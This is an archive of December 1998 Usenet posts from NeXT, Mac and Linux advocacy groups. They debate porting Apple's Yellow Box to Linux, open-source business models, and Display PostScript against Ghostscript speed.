> >a. What is it that Apple would be selling to run their business ?
>
> 1. Support
> 2. Hardware
> 3. Apps
And of course, YB for Linux commercial packages with Apple Seal Of
Approval And Compatibility. Just as Red Hat sells Linux... Support
sales follow. The Linux community could improve the YB implementation
and use it for free (consider that as a repayment) while Apple could
keep control of the commercial distribution(s) and add Linux folks'
improvements to the core package that Apple can then licence or sell
at other platforms, eventually including YB for Windows. I can't see
why Apple shouldn't charge a few dimes for the Windows package
sometime in the future when YB has finally established itself and
Windows stranglehold has been eroded to a sufficient extent.
> >b. If Apple sold YB for Linux like Oracle is providing its
> > database (not open source), would that be a better business
> > model ?
>
> Wouldn't work. That just be setting up Linux to be DOS for Steve Job's
> new empire.
Linux can be downloaded for free but there's a growing market in
selling commercial distributions with limited time of support for
~$50. People buy these for support and convenience; and considering
the speed of new developments in that platform, it is quite reasonable
to believe that many people buy new versions on a yearly basis or even
more often.
Apple could release sufficient parts of Yellow Box to, say, the Linux
and BSD (incl. Mac OS X) crowds to work and play with under licensing
scheme that allows people use and improve it on those platforms for
free while Apple retains the right to _selling_ or allowing others to
_sell_ it on those and other platforms. If a Linux developer wanted
add some new functionality to YB s/he would be allowed to go ahead and
do it but s/he might be required to pass some (3rd party)
compatibility testing (Designed for Unity rev 1? :^) before shipping
it to the public. Giving these developers access to free or
inexpensive Apple-approved development tools would in itself promote
compatibility to great extent. Some measures along these lines would
be necessary to save YB from the fate Unix suffered. I'm certain Apple
is keeping an eye on Sun and how they work out the questions regarding
Java licensing. Or how IBM manages their increasing involvement in the
Open Source movement.
Brgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-kTLCWVtkiUKG@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Net '94 = Linux '99
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net>
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Date: 9 Dec 98 18:05:44 GMT
On Tue, 8 Dec 1998 17:51:59, a1050pi@yahoo.com (Sheldon Gartner)
thought aloud:
> On 8 Dec 1998 16:58:10 GMT, mcgredo@otter.mbay.net (Donald R.
> McGregor) wrote:
>
> >for this to work Apple would have to port the imaging model and other
> >stuff to Linux, not use X. It doesn't do Apple any good to have all
> >the programs those Linux guys write run only on Linux.
>
> Doing that is the only thing that stands between Apple and oblivion.
> They still have time to be the Netscape of Linux.
Just to have AOL, eh, Sun buy them out... ;-) In all seriousness, I
believe Sun might still be interested in AAPL. As long as Apple
insists on remaining a closed eco-system their stock valuation will
keep reflecting the reality of their niche's growth prospects and
threats. Think of Netscape's sale value ($4.x billion) and then what
Apple could be bought for. Patents, userbase, PowerPC platform,
QuickTime, WebObjects, YB, YB-Java integration... Sorry if I strayed
off topic.
> >There's no driving need for YB to be open source. It's a pretty
> >high quality set of code as it is, and Apple/NeXT is fairly good
> >about moving it forward. (Though it would be nice to have the
> >ditched kits open sourced.)
>
> No. It'd have to be open source to get any momentum on Linux, I
> suspect.
Even just the runtime would help, and perhaps releasing it could be
considered testing the waters. But for Apple to get YB accepted as a
(near-) musthave component on Linux enough of the source would need to
be released for the Linux community to feel safe were Apple to change
their minds again midstream. It's all in the licence.
PS. I wonder what effect Apple's infamous 5-year patent swap agreement
with Microsoft has on any of this (releasing any source code)? If it
does prevent Apple from jumping onto the open source train and Gates
was thinking of this when drafting the deal... Am I paranoid or are
you all out to get me?
Brgds,
--
taiQ
[this space is intentionally blank]
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 9 Dec 1998 18:34:52 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <74mfsc$rh6@newsb.netnews.att.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <74l1br$i65@news1.panix.com> <H_ob2.599$L52.167@news.rdc1.ne.home.com>
Originator: gupta@tlctest
Michael Lankton <satan@hell.home.com> wrote:
>
>Preassembled machines save you time at the expense of being able to pick and
>choose your components. They also cost more and benchmark worse than a well
>thought out machine you built yourself. I wouldn't ride a motorcycle I
>didn't build, part of the fun is the work, and the satisfaction that knowing
I can't imagine a large Wall Street firm or bank assembling PCs for
themselves if they decide to use Linux.
If Linux is going to be as successful as you all hope, there may be
far more copies running in large corporations than in the hands of
individual users (especially until Linux becomes desktop-friendly).
-arun gupta
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 09 Dec 1998 12:26:09 -0600
Organization: Ericsson Data Services Americas
Message-ID: <366EC0C1.F9056BCE@ericsson.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <366C7F86.8B3709C5@ericsson.com> <74k1lk$e9j$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982332450001@news> <74md7v$eib$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
> > Retake that poll asking Linux users if they would be prepared to pay $20
> > licence fee, not a penny of which Apple would see. Also I'd hate to point
> > out the obvious, but if they said they "would not use YB on MOXS" then why
> > the hell would Apple do this? Gee, let's spend loads of money making candy
> > for Linux users. Nothing you have said suggests "there's a large potential
> > market" here.
>
> Exactly. Which is why I don't see a compelling reason for Apple to do a YB
> port to Linux, even though I'd rather see YB available everywhere.
Exactly what? Your whole point was that Linux users wouldn't pay $20 for
a runtime license?
Watch out for moving goalposts. Your position in this thread has become
so fluid that it's clear the only fixed point is that a Linux port could
not/should not be done. So much for "I'd rather see YB available
everywhere."
Who knows? Maybe it's BSD partisanship, maybe you just don't like Linux
people. Or maybe you harbor that fantasy that Apple can own the whole
pie, not sharing with anyone, but the world will beat a pathway to its
door just because the pie is so tasty. An eleven-year old fantasy for
NeXT, but one that appears to live on nevertheless (despite a molding,
eleven-year-old pie).
MJP
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
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References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com> <366EB02D.B9CD5E3A@trilithon.com>
Message-ID: <itzb2.1218$f97.1593@news.rdc1.sdca.home.com>
Date: Wed, 09 Dec 1998 18:39:10 GMT
NNTP-Posting-Date: Wed, 09 Dec 1998 10:39:10 PDT
Organization: @Home Network
In <366EB02D.B9CD5E3A@trilithon.com> Henry McGilton wrote:
> Rex Riley wrote:
>
> * ex-NeXT personalities participating in
> * comp.os.linux.advocacy...
>
> * Scott Hess
> * Greg Anderson
> * Nathan Urban
> * Sal Denaro
> * Johnathan Henry
> * Charles Swiger
> * Michael Peck
> * Matt Kennel
> * Henry Mc Gilton
> * Can an OPEN Apple be far behind?
> Must be pure co-incidence due to cross-posting --- I read
> CSNA only.
>
> As for Open Apple, if somebody can come out with a business case
> that makes sense, I'd take a look. For some years now I've been
> struggling with the notion of how I'm supposed to make a living by
> giving away software. If anybody has any Brilliant Insights, I'd
> love if they'd share them. So far I haven't been able to make it
> work financially.
>
>
They are diametrically opposed business cases.
Apple states it: " How is your software going to sell our Apple products?"
Sun states it: "We don't make money on Java unless you make money on Java."
Mac is proprietary ± Java is Open. Apple is concerned with how well their
technologies serve their interests. Sun wants their technology to serve
Java users interests.
Which one best serves the interest of the Independent Software Developer is
still out. Apple's business case is proven, Sun's is not.
The best insight is to "watch their feet". See where the masses go... we
are still a democracy voting with the Almighty dollar :-)
-r
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,misc.invest.stocks
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 09 Dec 1998 03:18:40 GMT
Organization: Airnews.net! at Internet America
Message-ID: <0CB6EE0885508DDD.60A7405A43CDEF1C.CA72838D94017B01@library-proxy.airnews.net>
References: <746k9p$820$1@your.mother.com> <74i2du$k1m@news1.panix.com> <slrn76r3gc.qsl.maynard@mr-gateway.internal.net> <61D8A87D61D3E386.97F7D7646167ACD0.0677956474619452@library-proxy.airnews.net> <cdoutyF3oEAo.886@netcom.com>
Abuse-Reports-To: abuse at airmail.net to report improper postings
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NNTP-Posting-Time: Tue Dec 8 21:08:37 1998
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On Wed, 9 Dec 1998 02:16:00 GMT, cdouty@netcom.com (Chris Douty)
wrote:
>>Best of all, Apple pretty much just has to sit there (outside of
>>porting the apps, which I know might cause them to break a sweat.) So
>>they can keep being apathic, but at least they make money and get
>>their self-respect back (Ie, cut the cords to Redmond.)
>
>I don't know what "apps" you are refering to. Apple has no application
>base under their direct control. There are the apps owned by the Apple
>subsidiaries Claris and FileMaker, which are all MacOS Toolbox programs.
>They have no Yellow Box applications to sell other than WebObjects and
>the development tools.
Ok, my bad. Although I was thinking of the Claris and Filemaker stuff
as well as Quicktime, etc.
My whole argument, however, boils down to this (at least in my view,
and I'm the one making the argument!): Apple as-is is a goner. It's in
the death spiral, despite the number of iMacs sold. Its hardware is
too expensive and the OS doesn't have enough apps.
Therefore, a revolution is needed. Linux needs a GUI for newbies and
Apple needs to survive. I believe Apple WILL MAKE MONEY through
support, the few apps it has under its direct control and its hardware
sales. It ain't gonna be easy, tho, but it ain't easy now.
It'd have to push into CHEAP (I ain't talkin $1,300, I'm talkin $500
and lower) Networked Gizmoes for the Home Area Network. Linux with a
nice Yellow Box GUI would help that along nicely.
As things are now, Apple and the Mac (a wonderful company and a
kick-ass OS) risk simply becoming a footnote to whatever GUI Linux
eventually gets.
-l: OS/2, anyone? 8-)
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 9 Dec 1998 13:43:56 -0500
Organization: phenix@interpath.com
Message-ID: <1djrups.7wyjag1f708byN@roxboro0-007.dyn.interpath.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <366C7F86.8B3709C5@ericsson.com> <74k1lk$e9j$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982332450001@news> <bholderness-0912981333440001@207-172-95-190.s63.as1.dwt.erols.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4b3
WIlliam Holderness <bholderness@erols.remove.this.com> wrote:
> anarkhos@anarchism.orgy (strobe) wrote:
>
> >> Now, if (hypothetical) this Slashdot poll revealed that 8000 out of 10K
> >> responding would use YB for Linux, but would not use YB on MOXS, that would
> >> suggest to Apple that there's a large potential market.
> >>
> >
> > Retake that poll asking Linux users if they would be prepared to pay $20
> >licence fee, not a penny of which Apple would see. Also I'd hate to point
> >out the obvious, but if they said they "would not use YB on MOXS" then why
> >the hell would Apple do this? Gee, let's spend loads of money making candy
> >for Linux users. Nothing you have said suggests "there's a large potential
> >market" here.
>
> I think that you are missing the point. The port of YB would not be to
> attract Linux developers (users) to the mac. It would be to generate YB
> applications, which can be (re-compiled and) used on the mac.
But the mac isn't really short of applications, and if MacOSX is ever
released I'd expect that any that are being actively developed would
eventually get ported.
Rewriting for something like YB before it was released would have been
unattractive in '88 (when they were making noises about OOP and saying
that some rewriting at least would be necessary), in '98 "unattractive"
is a goal to be attained -- and one that requires shipping something
before they can even have hopes of it.
IF they ship THEN I expect lots of porting to begin taking place --
first to Carbon and then to YB as they show they aren't going to just
drop it (provided of course that they don't just drop it).
Apple announcing that they had a YB or even Carbon port of
CWorks/Emailer/FileMaker ready to ship would, at the moment, be much
better for Apple than a 100 YB apps from Linux developers.
--
John Moreno
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT UI on Apple Palmtop? (was: Re: Apple Telegraphing Palm Plans?)
Date: 9 Dec 1998 19:43:08 GMT
Organization: AOL http://www.aol.com
References: <SPAMLESSforrest-0812981824360001@term6-19.vta.west.net>
Message-ID: <19981209144308.22407.00000042@ng59.aol.com>
I find the NeXT UI awkward to manipulate with a stylus.
Forest said:
<<A small,
verticle menu in one corner; click (tap) an item and the menu items change
to those submenu>>
I don't believe that menus are appropriate for small, hand-held
screens--gestures are much more appropriate/efficient.
and Forest went on to say:
<<Something like the NeXT file browser would
also be very space-efficient, using a similar system; the root dir appears
as a single column in list view, with a blank column to the right of that.>>
Manipulating files like that would be awkward--the more successful PenUIs
(PenPoint, Newton) are document-centric which feels much more natural and is
efficient in terms of accessing the data.
<<Along the bottom would be a Shelf
for commonly-used files and apps.
>>
Uh, this has already been done--see PenPoint.
Apple already has a very good UI for a palmtop, the NewtonOS. It's criminal
that they've abandoned this customer base and platform.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: dfevans@bbcr.uwaterloo.ca (David Evans)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
Date: 9 Dec 1998 19:01:01 GMT
Organization: University of Waterloo
Message-ID: <913230061.688099@watserv4.uwaterloo.ca>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com> <74m666$fuj@shelob.afs.com>
Cache-Post-Path: watserv4.uwaterloo.ca!unknown@bcr11.uwaterloo.ca
In article <74m666$fuj@shelob.afs.com>, Greg Anderson <greg@afs.com> wrote:
>
>Keep dreaming, especially if you are implying that any of our opinions mean
>anything to the New Apple.
>
That bitterness is seeping in, Greg, in spite of the Utah Field.
--
David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
University of Waterloo "Default is the value selected by the composer
Ontario, Canada overridden by your command." - Roland TR-707 Manual
From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: Wed, 09 Dec 1998 00:58:29 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R0912980058290001@news>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news> <366E28DA.7541CD0B@trilithon.com>
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In article <366E28DA.7541CD0B@trilithon.com>, Henry McGilton
<henry@trilithon.com> wrote:
> strobe wrote:
> * Regarding the idea of yellow box for Linux.
> * 1) Yellow box isn't going to be free.
> Where do you get your information from? You have a private and
> personal conduit into Apple these days?
Every OpenStep developer knows stepwise. This information isn't private,
I have no idea where you got that idea from. If you can't do the research
yourself don't expect me to do it for you.
> * Linux users don't like paying for software. Not only because
> * they are CHEAP, but there seems to be some principle involved
> * not paying for software.
> The hacker mentality that doesn't comprehend the basic concepts of
> business. Oh, I see --- you're at one of them there University
> places. The twentieth-century equivalent of patronage. Everything is
> free, as long as you don't actually have to make a living . . . And,
> unlike the Apple engineer blokes, you never have to deliver a working
> product by a specified date within a specified budget to specified
> performance specifications. Try pulling your thumb out sometime.
> If and when you ever get out of the pigpen, let me know how you'll
> pay the rent or mortgage and support yourself working for no money.
Actually I have a job outside the university, not that anything you said
had anything to do with Linux users being cheap. You seem to me making my
argument FOR me, I guess you thought I was a cheap linux user. Perhaps you
thought cheap was a complement.
> * 2) Linux will soon have WindowMaker which will use display
> * ghostscript.
> I'm awaiting this millennial development, although I'm still hacking
> away with Java on Windows NT --- we have three really neat apps
> going out the door even as we discuss how great GnuStep and GnuDGS
> will be some time in the next century.
So? Use Java then. If you don't want YB then shut up. I'm not promoting
GNUStep, this post ISN'T FOR YOU! Go find somebody who says "Java sucks" if
you want an argument.
> * Although you will not be able to simply recompile code for
> GNUStep,
> * the frameworks will be similar enough to make porting relatively
> easy.
> Well, that's encouraging --- my lady friend who wishes to create a
> presentation just has to download the GCC environment and spend a week
> recompiling and so on, and then has to explain why the presentation
> was only a couple of months late . . . In the meantime, the client
> who had expected the presentation by Friday has moved on . . .
Well you're certainly making a case NOT to port YB to Linux, thanks. Not
only will Apple save money, they will save being jeered at by morons like
yourself.
.
.
.
.
.
.
.
.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: NeXT UI on Apple Palmtop? (was: Re: Apple Telegraphing Palm Plans?)
Newsgroups: comp.sys.next.advocacy
References: <SPAMLESSforrest-0812981824360001@term6-19.vta.west.net> <19981209144308.22407.00000042@ng59.aol.com>
Message-ID: <366edb29.0@news.depaul.edu>
Date: 9 Dec 98 20:18:49 GMT
WillAdams <willadams@aol.com> wrote:
> Apple already has a very good UI for a palmtop, the NewtonOS. It's criminal
> that they've abandoned this customer base and platform.
Criminal? Overstated a bit?
BTW, the Newton definitely isn't 'document based'. It's application
based. You run and switch between apps. Documents don't exist, really.
Which sucks, IMHO.
Furthermore the Newton 'abandonment' case is still open. They've
still got the ideas, the code, and the patents. They may not
be producing a new Newton, but they will surely borrow
good ideas and technology developed for the Newton.
The Newton had problems. Size. Weight. Expense. Speed (until
the last two). Hardware and software compatability. If Apple
can solve these problems with a new platform, then the
Newton won't have 'died' in vain. As such, calling the
cancellation 'criminal' looks pretty silly.
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 09 Dec 1998 19:35:18 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74mjdm$k4e$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com> <74i2du$k1m@news1.panix.com> <slrn76r3gc.qsl.maynard@mr-gateway.internal.net>
In article <slrn76r3gc.qsl.maynard@mr-gateway.internal.net>,
maynard@mr-gateway.internal.net (J. Maynard Gelinas) wrote:
[ ... ]
> Sidenote: Apple would do themselves a _BIG_ favor by helping or
> funding development of XDGS with the GNUSTEP team. Display
> Ghostscript could be Apple's way out of their dependency on Adobe.
I'm pretty sure Apple decided to develop their own replacement imaging model
instead of continuing with DPS. Secondly, there's a pretty big difference
between DPS and DGS in terms of performance, or so I've heard.
> Since Adobe seems committed to killing DPS it's only reasonable that
> Apple should look for some alternative which doesn't require runtime
> licensing fees.
Right-- makes perfect sense. Writing their own pbviously is one solution.
I'm not sure how DGS licensing would work for Apple. There might have been
some issues, or some kind of agreement with Adobe, for that matter.
> Please correct me if I'm wrong here, but wouldn't a YB port to
> Linux require display postscript?
A year ago, I would've said yes. I don't know whether that is still the case,
since YB is evolving from the OPENSTEP standard. I gather the new imaging
model will provide functionality equivalent to the C-wrapper functions under
DPS, which might be sufficient for YB to run without a full DPS interpreter
around.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: Wed, 09 Dec 1998 14:48:42 -0600
Organization: Ericsson Data Services Americas
Message-ID: <366EE22A.9EBFDB8A@ericsson.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news> <366E28DA.7541CD0B@trilithon.com>
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Henry McGilton wrote:
[cut]
> The hacker mentality that doesn't comprehend the basic concepts of
> business. Oh, I see --- you're at one of them there University
> places. The twentieth-century equivalent of patronage. Everything is
> free, as long as you don't actually have to make a living . . . And,
> unlike the Apple engineer blokes, you never have to deliver a working
> product by a specified date within a specified budget to specified
> performance specifications. Try pulling your thumb out sometime.
> If and when you ever get out of the pigpen, let me know how you'll
> pay the rent or mortgage and support yourself working for no money.
Henry,
You're quite right about making money and giving software away; I
couldn't disagree even if I were inclined to.
But don't you think that there is *some* room for making money while
giving away source code? You won't make money on the source, obviously,
but do you think that there can be ancillary benefits which, in certain
circumstances, could yield better return than proprietary sale of the
compiled code itself?
The classic argument is on behalf of Cygnus, who sells support instead
of software. I'm not sure that's the best example. I really think that
Apple makes a better example. Or Troll Tech. Both companies have
software that can be both given away and sold for a profit; each could
benefit the other. Troll Tech already makes money from Qt, while at the
same time giving away the source code.
The benefits are quite numerous, more numerous than I can cover.
Visibility, community, shared support, common code, knowledge base,
sense of unity of purpose, even loyalty. Then there's the whole issue of
de facto standards.
At some level, these intangibles can add up to an awful lot of money.
It's a long-term position, yes, but in many ways it pays for itself
steadily. Most of the worried Apple watchers' complaints could be
addressed most effectively with increased availability of YB. Open
Source could be better, don't know. I see a lot of people asking "how
would that make Apple money in the short term?" but the same people turn
around and say "Apple's not dying! It's making a profit, it's perfectly
healthy".
So, fine, I say. If Apple's doing fine it can afford to invest in its
own future by building a base of developers (and press coverage and
installed base, etc). Have you seen how many posts are made to
comp.os.linux.advocacy every day? Nothing scientific about this
measurement, but it dwarfs CSNA. Imagine having that thundering herd of
fanboys and hackers available, raising a whole generation of students,
dropouts, lone wolves, and wannabes in the tradition of excellence
represented by NeXTstep.
There's a gravity-defying generation of youth that actually *likes*
Unix. I think a few more miracles are in order. The opportunity is
there, it just needs taking. They need role models, and for what it's
worth, I think most NeXTstep people are good ones.
[cut]
> * Although you will not be able to simply recompile code for
> GNUStep,
> * the frameworks will be similar enough to make porting relatively
> easy.
> Well, that's encouraging --- my lady friend who wishes to create a
> presentation just has to download the GCC environment and spend a week
> recompiling and so on, and then has to explain why the presentation
> was only a couple of months late . . . In the meantime, the client
> who had expected the presentation by Friday has moved on . . .
c'mon, not like that. It's almost no work for the developer, who can
make multiple binaries available. Your lady friend can download the
appropriate binary; no GCC involved.
MJP
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: 9 Dec 1998 20:55:43 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <74mo4f$pif$1@remarQ.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya0240800 <366EB82B.98E52CE7@trilithon.com>
In article <366EB82B.98E52CE7@trilithon.com>,
Henry McGilton <henry@trilithon.com> wrote:
[DPS speed vs. DGS speed]
>On my old 25MHz Next slab, it takes 11390 milliseconds --- just
>over 11 seconds --- using YAP to display.
>
>On my brand new knuckle-dragging 400MHz Pentium, GhostView takes
>1012 milliseconds --- just over one second --- to display the
>same picture, using Ghostscript 5.01.
>
>So, on a sixteen times faster machine [with 256 MB RAM as well]
>GhostScript appears to be about eleven times faster. But if I
>normalise to the slab, DPS is faster by a factor of about 1.4.
>Remember my caveat from above --- this is a very un-scientific
>study, but it gives us some rough numbers to draw comparisons,
>as opposed to the divining rods people have been using so far.
>
>So we can argue that Ghostscript needs roughly a thirty percent
>speedup to be comparable to DPS. [...]
I think that's the wrong way to look at it. Speed on a 25 MHz
slab was good enough for most people for most applications.
Nobody is going to be running anything on a 25 MHz '040 these
days; more like a 200 or 300 MHz machine, minimum. So even
with the sloppier code the speed would still be acceptable--
in fact, considerably faster than what people used to use.
Just because you can optimize for speed doesn't mean you have
to optimize for speed for it to be useful.
The crashes are another matter, of course.
--
Don McGregor | "It's Clintonism without the sincerity."
mcgredo@mbay.net |
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
Date: Wed, 9 Dec 1998 15:41:05 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <74mnbq$hfo@shelob.afs.com>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com> <74m666$fuj@shelob.afs.com> <913230061.688099@watserv4.uwaterloo.ca>
David Evans wrote:
>Greg Anderson <greg@afs.com> wrote:
>>
>>Keep dreaming, especially if you are implying that any of our opinions
mean
>>anything to the New Apple.
>
> That bitterness is seeping in, Greg, in spite of the Utah Field.
Um, *Mormons* are from Utah. *Quakers* are from Pennsylvania, where I live.
There's a really really big difference.
Anyway, you're reading waaaaay too much into what I wrote. I was simply
stating a fact: Aside from standard developer mailings that everyone gets --
and which never mention OSXS anymore -- no one from Apple has contacted me
about the official status of OSXS since September. (Of course, I have plenty
of friends inside and outside Apple who alert me to ongoing events as best
they know them, but I'm talking about the Apple employees who are officially
in charge of keeping me up to date.) Nor has anyone solicited my opinion
about prices, dates, marketing efforts, or the effects those decisions might
have on my applications that were supposed to be released alongside the OS,
if and when it finally ships.
Prima facie, I would suggest these facts add up to "Greg's opinion does not
mean anything to Apple." Which is pretty much what I think they want me to
think.
Greg
From: SPAMLESSforrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
Message-ID: <SPAMLESSforrest-0912981311210001@term6-33.vta.west.net>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com> <366EB02D.B9CD5E3A@trilithon.com>
Organization: Obsidian
Date: Wed, 09 Dec 1998 13:10:41 -0800
NNTP-Posting-Date: Wed, 09 Dec 1998 13:10:41 PDT
In article <366EB02D.B9CD5E3A@trilithon.com>, Henry McGilton
<henry@trilithon.com> wrote:
>As for Open Apple, if somebody can come out with a business case
>that makes sense, I'd take a look. For some years now I've been
>struggling with the notion of how I'm supposed to make a living by
>giving away software. If anybody has any Brilliant Insights, I'd
>love if they'd share them. So far I haven't been able to make it
>work financially.
Well there's your problem! Just because a piece of software is "open
source" doesn't mean it's monetarily free, although that is often the
case. You can charge for open-source software, the only thing which
defines it as being "open source" is that the source code is included with
the software (or sometimes it is simply shipped as JUST the source code,
so the user has to compile it to their own system, but that's too 'scary'
for Joe Average User, so binaries should be shipped as well). So the
purchaser can modify what they buy for their own uses. Of course, various
open-source licenses (GPL, etc) can place different restrictions on the
code, like saying that you can't charge for it, or you can't distribute
copies it without buying another licence, or you can't do this or that or
you have to do this or that, etc. My personal, ideal licence would be
thus:
MyCorp makes MyThing and sells it for $100. TheirCorp buys a copy of
MyThing. TheirCorp modifies MyThing and sells it as TheirThing for $100.
TheirThing contains 90% of the original MyThing code. So for every copy of
